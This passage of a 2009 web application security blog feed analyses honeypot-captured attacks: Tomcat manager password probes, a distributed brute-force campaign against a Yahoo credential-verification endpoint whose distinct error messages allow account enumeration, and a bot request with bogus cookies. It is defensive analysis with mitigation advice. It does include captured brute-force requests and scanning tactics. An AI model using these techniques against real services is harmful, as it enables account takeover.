/&gt;manager:123qweasd&lt;/code&gt;&lt;/blockquote&gt;&lt;code&gt;&lt;/code&gt;&lt;/span&gt;&lt;/pre&gt;What do the attackers want to do once they gain access to the Tomcat server?  Install backdoor/command WAR files so that they can execute code.  Time to double check your default account passwords and implement those ACLs to only allow authorized clients to your Management interfaces...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-210770977402560155?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/210770977402560155/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=210770977402560155' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/210770977402560155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/210770977402560155'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2009/10/wasc-honeypots-apache-tomcat-admin.html' title='WASC Honeypots - Apache Tomcat Admin Interface Probes'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-997870229697066936</id><published>2009-09-14T11:44:00.008-04:00</published><updated>2009-10-08T09:25:46.469-04:00</updated><title type='text'>Distributed Brute Force Attacks Against Yahoo</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_E0YEPhKPc2k/Ss3oFpxx2CI/AAAAAAAAAFE/mi6vJM5pMNo/s1600-h/security_is_lax.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 324px; height: 400px;" src="http://3.bp.blogspot.com/_E0YEPhKPc2k/Ss3oFpxx2CI/AAAAAAAAAFE/mi6vJM5pMNo/s400/security_is_lax.jpg" alt="" id="BLOGGER_PHOTO_ID_5390219512843982882" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;Submitted by Ryan Barnett 09/14/2009&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As part of the &lt;a href="http://projects.webappsec.org/Distributed-Open-Proxy-Honeypots"&gt;WASC Distributed Open Proxy Honeypot Project&lt;/a&gt; (DOPHP), we have been able to track some pretty extensive distributed brute force attacks against Yahoo end-user email accounts.  Valid email accounts and/or obtaining valid account credentials are a huge commodity for SPAMMERS.  Identifying valid accounts is important as it allows them to only send SPAM messages to real accounts and they can also  be able to sell lists of valid accounts to other SPAMMERS.  Taking this a step further, if the SPAMMERS are able to enumerate valid credentials for an account (username and password) they can then hijack the account and use it for SPAMMING.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Normal Web Login&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This methodology is not new and Yahoo is obviously aware of these attacks aim at their Yahoo &lt;a href="https://login.yahoo.com/"&gt;mail web login interface page&lt;/a&gt;.  This login page looks like this -&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_E0YEPhKPc2k/Sq59OoW2PAI/AAAAAAAAAEs/9zYTBNrdZuY/s1600-h/yahoo_login1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 166px; height: 400px;" src="http://1.bp.blogspot.com/_E0YEPhKPc2k/Sq59OoW2PAI/AAAAAAAAAEs/9zYTBNrdZuY/s400/yahoo_login1.png" alt="" id="BLOGGER_PHOTO_ID_5381376295059209218" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;When a client clicks submit, the request looks similar to the following -&lt;br /&gt;&lt;blockquote  style="font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;POST /config/login? HTTP/1.1&lt;br /&gt;Host: login.yahoo.com&lt;br /&gt;User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3&lt;br /&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;Accept-Language: en-us,en;q=0.5&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 300&lt;br /&gt;Connection: keep-alive&lt;br /&gt;Referer: https://login.yahoo.com/&lt;br /&gt;Cookie: B=ffetg09557ar5&amp;amp;b=3&amp;amp;s=od; cna=zwISA2sCdzgBAS+RbUtyRRes; Y=%2e&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;Content-Length: 296&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;.tries=1&lt;/span&gt;&amp;amp;.src=&amp;amp;.md5=&amp;amp;.hash=&amp;amp;.js=&amp;amp;.last=&amp;amp;promo=&amp;amp;.intl=us&amp;amp;.bypass=&amp;amp;.partner=&amp;amp;.u=007ofj55asupi&amp;amp;.v=0&amp;amp;&lt;br /&gt;.challenge=hKhk9.OX5y0EOqJ3c4yxAH_rSrx5&amp;amp;.yplus=&amp;amp;.emailCode=&amp;amp;pkg=&amp;amp;stepid=&amp;amp;.ev=&amp;amp;hasMsgr=0&amp;amp;.chkP=Y&amp;amp;.done=http%3A%2F%2Fmy.yahoo.com&amp;amp;.pd=_ver%3D0%26c%3D%26ivt%3D%26sg%3D&amp;amp;&lt;span style="font-weight: bold;"&gt;login=foo&amp;amp;passwd=bar&lt;/span&gt;&amp;amp;.save=Sign+In&lt;/span&gt;&lt;/blockquote&gt;Notice the in the post payload that the application is tracking how many "tries" have been attempted.  This is useful for throttling automated attacks and once a client goes over a limit, Yahoo then presents the user with an added CAPTCHA challenge -&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_E0YEPhKPc2k/Sq5-X5Az53I/AAAAAAAAAE0/iGYUQXaZYZQ/s1600-h/yahoo_login2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 142px; height: 400px;" src="http://3.bp.blogspot.com/_E0YEPhKPc2k/Sq5-X5Az53I/AAAAAAAAAE0/iGYUQXaZYZQ/s400/yahoo_login2.png" alt="" id="BLOGGER_PHOTO_ID_5381377553660634994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Also notice that the login page is presenting the end user with a generic error message indicating that the credentials were not correct but it does not inform the user whether it was the login or password that was wrong.  All of this type of anti-automation defense is good.  The problem is - is Yahoo applying this type of defense consistently throughout their entire infrastructure?  Are there any ways for the SPAMMERS to find a backdoor?  Unfortunately, yes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Web Services App&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The WASC DOPHP has identified a large scale distributed brute force attack against what seems to be a web services authentication systems aimed at ISP or partner web applications.  The authentication application is named "/config/isp_verify_user".  Google links for the "isp_verify_user" app are &lt;a href="http://www.google.com/search?q=inurl:/config/isp_verify_user&amp;amp;hl=en&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla:en-US:official&amp;amp;filter=0"&gt;here&lt;/a&gt;.&lt;a href="http://www.google.com/search?q=inurl:/config/isp_verify_user&amp;amp;hl=en&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla:en-US:official&amp;amp;filter=0" target="_blank"&gt;&lt;/a&gt;  One thing you will notice in looking at these results is that there is an incredibly large number of Yahoo authentication subdomains that are hosting this application and are able to authenticate clients.  If you click on one of the links, you will see that the response data returned in the browser is terse.  It is simply 1 line of data such as this -&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div  style="text-align: center;font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;ERROR:210:Required fields missing (expected l,p)&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;The format of this data is obviously not intended for end users, but it more tailored for parsing by web service applications.  It very well could be that many front-end web applications are validating the credentials submitted by clients to these isp_verify_user app.  This particular error message is returned when a client does not submit the l (login) and p (password) parameters.&lt;br /&gt;&lt;br /&gt;If a client sends a request for a &lt;a href="http://www.google.com/search?q=inurl:/config/isp_verify_user+ERROR:102:&amp;amp;hl=en&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla:en-US:official&amp;amp;filter=0"&gt;login/username that does not exis&lt;/a&gt;t, the app will return a message of -&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; font-family: courier new; font-weight: bold;"&gt;ERROR:102:Invalid Login&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Remember the generic error message presented on the normal login web page?  Not here - it is easy for a SPAMMER to automate sending requests and cycling through various login names to identify if/when they hit on a valid Yahoo account name.  When this happens, the application gives a different &lt;a href="http://www.google.com/search?q=inurl:/config/isp_verify_user+ERROR:101:&amp;amp;hl=en&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla:en-US:official&amp;amp;filter=0"&gt;Invalid Password&lt;/a&gt; error message -&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; font-family: courier new; font-weight: bold;"&gt;ERROR:101:Invalid Password&lt;br /&gt;&lt;/div&gt; &lt;a href="http://www.google.com/search?q=inurl:/config/isp_verify_user+ERROR:102:&amp;amp;hl=en&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla:en-US:official&amp;amp;filter=0" target="_blank"&gt;&lt;/a&gt;&lt;br /&gt;Note that this application does not implement any of the same CAPTCHA mechanisms that the standard login page does.  This means that the attackers have an unimpeded avenue of testing login credentials.  If the client sends the &lt;a href="http://www.google.com/search?q=inurl:/config/isp_verify_user+OK:0:&amp;amp;hl=en&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla:en-US:official&amp;amp;filter=0"&gt;correct credentials&lt;/a&gt;, they will receive a message similar to the following (where username is the data submitted in the "l" parameter) -&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; font-family: courier new; font-weight: bold;"&gt;OK:0:username&lt;br /&gt;&lt;/div&gt; &lt;a href="http://www.google.com/search?q=inurl:/config/isp_verify_user+OK:0:&amp;amp;hl=en&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla:en-US:official&amp;amp;filter=0" target="_blank"&gt;&lt;/a&gt;&lt;br /&gt;With this information, the SPAMMERS can then log into the enumerated email account and abuse it as they wish.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Scanning Methodology&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here is small snippet of some of the transactions that were captured -&lt;br /&gt;&lt;pre class="event"&gt;&lt;em class="t"&gt;Get&lt;/em&gt; &lt;em class="t"&gt;http&lt;/em&gt;://&lt;em class="t"&gt;l33&lt;/em&gt;.&lt;em class="t"&gt;login&lt;/em&gt;.&lt;em class="t"&gt;scd&lt;/em&gt;.&lt;em class="t"&gt;yahoo&lt;/em&gt;.&lt;em class="t"&gt;com&lt;/em&gt;/&lt;em class="t"&gt;config&lt;/em&gt;/&lt;em class="t a"&gt;&lt;em class="t"&gt;isp&lt;/em&gt;_&lt;em class="t"&gt;verify&lt;/em&gt;_&lt;em class="t"&gt;user&lt;/em&gt;&lt;/em&gt;?&lt;em class="t"&gt;l&lt;/em&gt;=&lt;em class="t"&gt;kneeling&lt;/em&gt;@&lt;em class="t"&gt;ort&lt;/em&gt;.&lt;em class="t"&gt;rogers&lt;/em&gt;.&lt;em class="t"&gt;com&lt;/em&gt;&amp;amp;&lt;em class="t"&gt;p&lt;/em&gt;=&lt;em class="t"&gt;qwerty&lt;/em&gt; &lt;em class="t"&gt;HTTP&lt;/em&gt;/&lt;em class="t"&gt;1&lt;/em&gt;.&lt;em class="t"&gt;0&lt;/em&gt;&lt;br /&gt;&lt;em class="t"&gt;Get&lt;/em&gt; &lt;em class="t"&gt;http&lt;/em&gt;://&lt;em class="t"&gt;l06&lt;/em&gt;.&lt;em class="t"&gt;member&lt;/em&gt;.&lt;em class="t"&gt;kr3&lt;/em&gt;.&lt;em class="t"&gt;yahoo&lt;/em&gt;.&lt;em class="t"&gt;com&lt;/em&gt;/&lt;em class="t"&gt;config&lt;/em&gt;/&lt;em class="t a"&gt;&lt;em class="t"&gt;isp&lt;/em&gt;_&lt;em class="t"&gt;verify&lt;/em&gt;_&lt;em class="t"&gt;user&lt;/em&gt;&lt;/em&gt;?&lt;em class="t"&gt;l&lt;/em&gt;=&lt;em class="t"&gt;kneading&lt;/em&gt;@&lt;em class="t"&gt;ort&lt;/em&gt;.&lt;em class="t"&gt;rogers&lt;/em&gt;.&lt;em class="t"&gt;com&lt;/em&gt;&amp;amp;&lt;em class="t"&gt;p&lt;/em&gt;=&lt;em class="t"&gt;000000&lt;/em&gt; &lt;em class="t"&gt;HTTP&lt;/em&gt;/&lt;em class="t"&gt;1&lt;/em&gt;.&lt;em class="t"&gt;0&lt;/em&gt;&lt;br /&gt;&lt;em class="t"&gt;Get&lt;/em&gt; &lt;em class="t"&gt;http&lt;/em&gt;://&lt;em class="t"&gt;69&lt;/em&gt;.&lt;em class="t"&gt;147&lt;/em&gt;.&lt;em class="t"&gt;112&lt;/em&gt;.&lt;em class="t"&gt;199&lt;/em&gt;/&lt;em class="t"&gt;config&lt;/em&gt;/&lt;em class="t a"&gt;&lt;em class="t"&gt;isp&lt;/em&gt;_&lt;em class="t"&gt;verify&lt;/em&gt;_&lt;em class="t"&gt;user&lt;/em&gt;&lt;/em&gt;?&lt;em class="t"&gt;l&lt;/em&gt;=&lt;em class="t"&gt;kitbags&lt;/em&gt;@&lt;em class="t"&gt;ort&lt;/em&gt;.&lt;em class="t"&gt;rogers&lt;/em&gt;.&lt;em class="t"&gt;com&lt;/em&gt;&amp;amp;&lt;em class="t"&gt;p&lt;/em&gt;=&lt;em class="t"&gt;333333&lt;/em&gt; &lt;em class="t"&gt;HTTP&lt;/em&gt;/&lt;em class="t"&gt;1&lt;/em&gt;.&lt;em class="t"&gt;0&lt;/em&gt;&lt;br /&gt;&lt;em class="t"&gt;Get&lt;/em&gt; &lt;em class="t"&gt;http&lt;/em&gt;://&lt;em class="t"&gt;217&lt;/em&gt;.&lt;em class="t"&gt;12&lt;/em&gt;.&lt;em class="t"&gt;8&lt;/em&gt;.&lt;em class="t"&gt;235&lt;/em&gt;/&lt;em class="t"&gt;config&lt;/em&gt;/&lt;em class="t a"&gt;&lt;em class="t"&gt;isp&lt;/em&gt;_&lt;em class="t"&gt;verify&lt;/em&gt;_&lt;em class="t"&gt;user&lt;/em&gt;&lt;/em&gt;?&lt;em class="t"&gt;l&lt;/em&gt;=&lt;em class="t"&gt;kirk&lt;/em&gt;@&lt;em class="t"&gt;ort&lt;/em&gt;.&lt;em class="t"&gt;rogers&lt;/em&gt;.&lt;em class="t"&gt;com&lt;/em&gt;&amp;amp;&lt;em class="t"&gt;p&lt;/em&gt;=&lt;em class="t"&gt;yankees&lt;/em&gt; &lt;em class="t"&gt;HTTP&lt;/em&gt;/&lt;em class="t"&gt;1&lt;/em&gt;.&lt;em class="t"&gt;0&lt;/em&gt;&lt;br /&gt;&lt;em class="t"&gt;GET&lt;/em&gt; &lt;em class="t"&gt;http&lt;/em&gt;://&lt;em class="t"&gt;69&lt;/em&gt;.&lt;em class="t"&gt;147&lt;/em&gt;.&lt;em class="t"&gt;112&lt;/em&gt;.&lt;em class="t"&gt;217&lt;/em&gt;/&lt;em class="t"&gt;config&lt;/em&gt;/&lt;em class="t a"&gt;&lt;em class="t"&gt;isp&lt;/em&gt;_&lt;em class="t"&gt;verify&lt;/em&gt;_&lt;em class="t"&gt;user&lt;/em&gt;&lt;/em&gt;?&lt;em class="t"&gt;l&lt;/em&gt;=__&lt;em class="t"&gt;miracle&lt;/em&gt;&amp;amp;&lt;em class="t"&gt;p&lt;/em&gt;=&lt;em class="t"&gt;weezer&lt;/em&gt; &lt;em class="t"&gt;HTTP&lt;/em&gt;/&lt;em class="t"&gt;1&lt;/em&gt;.&lt;em class="t"&gt;0&lt;/em&gt;&lt;br /&gt;&lt;em class="t"&gt;GET&lt;/em&gt; &lt;em class="t"&gt;http&lt;/em&gt;://&lt;em class="t"&gt;69&lt;/em&gt;.&lt;em class="t"&gt;147&lt;/em&gt;.&lt;em class="t"&gt;112&lt;/em&gt;.&lt;em class="t"&gt;202&lt;/em&gt;/&lt;em class="t"&gt;config&lt;/em&gt;/&lt;em class="t a"&gt;&lt;em class="t"&gt;isp&lt;/em&gt;_&lt;em class="t"&gt;verify&lt;/em&gt;_&lt;em class="t"&gt;user&lt;/em&gt;&lt;/em&gt;?&lt;em class="t"&gt;l&lt;/em&gt;=&lt;em class="t"&gt;123&lt;/em&gt;#@!.._&lt;em class="t"&gt;69&lt;/em&gt;_&amp;amp;&lt;em class="t"&gt;p&lt;/em&gt;=&lt;em class="t"&gt;weezer&lt;/em&gt; &lt;em class="t"&gt;HTTP&lt;/em&gt;/&lt;em class="t"&gt;1&lt;/em&gt;.&lt;em class="t"&gt;0&lt;/em&gt;&lt;br /&gt;&lt;em class="t"&gt;GET&lt;/em&gt; &lt;em class="t"&gt;http&lt;/em&gt;://&lt;em class="t"&gt;68&lt;/em&gt;.&lt;em class="t"&gt;142&lt;/em&gt;.&lt;em class="t"&gt;241&lt;/em&gt;.&lt;em class="t"&gt;129&lt;/em&gt;/&lt;em class="t"&gt;config&lt;/em&gt;/&lt;em class="t a"&gt;&lt;em class="t"&gt;isp&lt;/em&gt;_&lt;em class="t"&gt;verify&lt;/em&gt;_&lt;em class="t"&gt;user&lt;/em&gt;&lt;/em&gt;?&lt;em class="t"&gt;l&lt;/em&gt;=__&lt;em class="t"&gt;lance&lt;/em&gt;_&amp;amp;&lt;em class="t"&gt;p&lt;/em&gt;=&lt;em class="t"&gt;weezer&lt;/em&gt; &lt;em class="t"&gt;HTTP&lt;/em&gt;/&lt;em class="t"&gt;1&lt;/em&gt;.&lt;em class="t"&gt;0&lt;/em&gt;&lt;br /&gt;&lt;em class="t"&gt;GET&lt;/em&gt; &lt;em class="t"&gt;http&lt;/em&gt;://&lt;em class="t"&gt;202&lt;/em&gt;.&lt;em class="t"&gt;86&lt;/em&gt;.&lt;em class="t"&gt;7&lt;/em&gt;.&lt;em class="t"&gt;115&lt;/em&gt;/&lt;em class="t"&gt;config&lt;/em&gt;/&lt;em class="t a"&gt;&lt;em class="t"&gt;isp&lt;/em&gt;_&lt;em class="t"&gt;verify&lt;/em&gt;_&lt;em class="t"&gt;user&lt;/em&gt;&lt;/em&gt;?&lt;em class="t"&gt;l&lt;/em&gt;=__&lt;em class="t"&gt;kitty&lt;/em&gt;__&lt;em class="t"&gt;69&lt;/em&gt;__&amp;amp;&lt;em class="t"&gt;p&lt;/em&gt;=&lt;em class="t"&gt;weezer&lt;/em&gt; &lt;em class="t"&gt;HTTP&lt;/em&gt;/&lt;em class="t"&gt;1&lt;/em&gt;.&lt;em class="t"&gt;0&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;The attackers used a three dimensional scanning methodology as described below -&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Distributing the scanning traffic through multiple open proxy systems.  This changes the source IP address as seen by the target web application so basic tracking/throttling is more challenging.&lt;/li&gt;&lt;li&gt;Distributing the traffic across different Yahoo subdomains.  The advantage to this is that even if some form of failed authentication tracking is taking place, it is more difficult to synchronize this data across all systems.&lt;/li&gt;&lt;li&gt;Diagonal scanning - submitting different username/password combinations on each request. This is instead of vertical scanning which is choosing 1 username and cycling through passwords or horizontal scanning which is choosing 1 common password and cycling through userenames.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;*Diagonal, vertical, horizontal and three dimensional brute force scanning terminology is taken from a forthcoming book by Robert "Rsnake" Hanson.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Defensive Takeaways&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Implement proper ACLs against all web services apps.  In this case, the isp_verify_user app was clearly not intended for direct client usage however there are no ACLs that prevent an end user from accessing them.&lt;/li&gt;&lt;li&gt;Need to identify any rogue web application authentication interfaces.  This is a big problem for organizations that are either newly deploying distributed web services apps or those who have newly acquired a business partner.&lt;/li&gt;&lt;li&gt;Every web application must have some form of anti-automation capability in order to identify when clients are sending these requests.&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-997870229697066936?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/997870229697066936/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=997870229697066936' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/997870229697066936'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/997870229697066936'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2009/09/distributed-brute-force-attacks-against.html' title='Distributed Brute Force Attacks Against Yahoo'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_E0YEPhKPc2k/Ss3oFpxx2CI/AAAAAAAAAFE/mi6vJM5pMNo/s72-c/security_is_lax.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-3256777458326703212</id><published>2009-09-10T09:13:00.003-04:00</published><updated>2009-09-10T09:59:59.045-04:00</updated><title type='text'>Identifying Anomalous Behavior</title><content type='html'>&lt;span style="font-style: italic;"&gt;Submitted by Ryan Barnett 09/10/2009&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A quick test for you - can you tell what is abnormal about this web application request transaction that was captured by the &lt;a href="http://projects.webappsec.org/Distributed-Open-Proxy-Honeypots"&gt;WASC Distributed Open Proxy Honeypots Project&lt;/a&gt;?&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;GET http://www.example.com/ HTTP/1.1&lt;br /&gt;User-Agent: User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10&lt;br /&gt;Accept-Language: zh-cn&lt;br /&gt;Accept: */*&lt;br /&gt;Host: www.example.com&lt;br /&gt;Cookie: dedifa=3984320578.43783.3716814272.929907673, BIGipCookie=0000000000000000000000000000000000000000000000000000000000&lt;br /&gt;00000000000000000000000000000000000000000000000000000000000000, ASPSESSIONIDCSCBAQDQ=KMBPKNLCKCHMOMJAOPDPEPDF, pmaCookieVer=4, phpMyAdmin=98kdlkphdefb4lr6g5q9pke4if6gh0hg, pma_fontsize=82%25, session-id=00710064d8f2a4412ad4aeff56e96a2d, 802db0210e6b5f898c3d7fb3f82e11c0=-, _WealthCity_session=BAh7BzoPc2Vzc2lvbl9pZCIlN2NiMjM4MDM1Njk5ZDRlZTllMTY&lt;br /&gt;4ZmZjYjE1NTVmNDU6EF9jc3JmX3Rva2VuIjE3YjVld0xiRkFvRy9zcnRJc1p1cDhsRldaZ&lt;br /&gt;01TRTVqQ1l3RlhHUlNUNndVPQ%3D%3D--72c082556f241f5e62a26209b7c23cc42dbf&lt;br /&gt;ae29, SQMSESSID=8dddae5eis8o9l2g6aul2o3ip4, JSESSIONID=678dcb81bdc1ce2e82346199c86d, SERVERID=A, CMSSESSID3aab33f1=96d98c3e54be906ecdf12195ada689a6, Compaq-HMMD=3BE1E1BD3B3B4AFED8970001A6AACE4862D267BC50C270927260D36E, _sm_au_d=1, SOrder=DatePr%2DDOWN%2D0%2D0%2D0%2D0, SRecInPage=30, ASPSESSIONIDCCRBACRC=DFEPKLMCAJDOEIPMMHNKMMCA, PHPSESSID=cf753ceefc14a51281818d11471552d4, _bz_session=BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsY&lt;br /&gt;XNo%0ASGFzaHsABjoKQHVzZWR7AA%3D%3D--1eb7a63eabc98dec0e0f418633d652fb97f5a8db, _session_id=8e87b0524f883f7c820ec6a136f7438b, SATSATSQID=goZXTx8HbQ5eBfjGevkYJ5-Lv-M8ChUHe-NfvvDycOHkc8CTM2SrJ4F_Y_IPU6Sc, ARPT=ZXJIWKS10.32.254.104CKMWW, SESSdab19e82e1f9a681ee73346d3e7a575e=fbc279a6c6c2e66cac0a6aba173bb261, vb_session=77e75d1912c7b6d796dae865fb95149a, BAIDUID=2A880F37E13E5EB37286E3EFF5BF43AA:FG=1&lt;br /&gt;Proxy-Connection: Keep-Alive&lt;/span&gt;&lt;/blockquote&gt;Two anomalous items of interest in this request -&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1) Bogus User-Agent payload&lt;br /&gt;&lt;/span&gt;Specifically the string "User-Agent" actually appears at the beginning of the header payload.  This looks like a botched script that tried to spoof the User-Agent data.&lt;br /&gt;&lt;br /&gt;Defensive recommendation - look for this string in the User-Agent field and tag the request as an automated client that is spoofing request header data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2) Number of diverse SessionIDs&lt;/span&gt;&lt;br /&gt;The number of SessionID related cookies in this request is certianly larger than normal.  Also note that there are SessionIDs for different web application technologies -&lt;br /&gt;&lt;br /&gt;ASPSESSIONID - for ASP web apps&lt;br /&gt;JSESSIONID - for Java web apps&lt;br /&gt;PHPSESSID - for PHP web apps&lt;br /&gt;&lt;br /&gt;What are the odds that this website is running all three of those web technologies?  Pretty slim...&lt;br /&gt;&lt;br /&gt;My take is that  the scripted client is just populating bogus SessionID data for a bunch of different apps with the hopes that this would pass basic filters that force a SessionID name to exist but don't have knowledge of valid/active values.  The most likely candidate is a SPAM bot that is looking to post data to blogs, forums, etc...&lt;br /&gt;&lt;br /&gt;Defensive recommendations -&lt;br /&gt;&lt;br /&gt;A. Count the number of SessionIDs/Cookies submitted.  If it is too large, then alert as appropriate.&lt;br /&gt;&lt;br /&gt;B. Look for SessionIDs/Cookie names that do not match your web application technology.&lt;br /&gt;&lt;br /&gt;There are numerous other methods to identify anomalous web application activity.  Security applications that are able to automatically generate web application learning and profiling (such as web application firewalls and web fraud systems) and correlate data from application users are able to identify deviations from the norm.  These are complex systems that have advanced logic components to identify anomalous traffic such as that which is presented here.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-3256777458326703212?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/3256777458326703212/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=3256777458326703212' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/3256777458326703212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/3256777458326703212'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2009/09/identifying-anomalous-behavior.html' title='Identifying Anomalous Behavior'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-1560480286223577686</id><published>2009-08-18T14:56:00.002-04:00</published><updated>2009-08-18T15:16:49.883-04:00</updated><title type='text'>WASC Distributed Open Proxy Honeypot Update - XSS in User-Agent Field</title><content type='html'>&lt;span style="font-style: italic;"&gt;Submitted by Ryan Barnett 8/18/2009&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In case you missed it, the &lt;a href="http://projects.webappsec.org/Distributed-Open-Proxy-Honeypots"&gt;WASC Distributed Open Proxy Honeypot Project&lt;/a&gt; launched Phase III at the end of July.  We have a few sensors online and as we start gathering data, we are starting our analysis.  Our goal is to be able to release "events of interest" to the community to try and raise awareness of web-based attacks.&lt;br /&gt;&lt;br /&gt;As part of my day job working with web application firewalls, I often get asked about why certain signatures should be applied in certain locations.  Why not just apply signatures to parameter payloads?  This would certainly cut down on potential false positives and also increase performance.  While it is true that the most likely attack vector locations are parameter payloads, these are not the only ones.  Where else should you look for attacks? 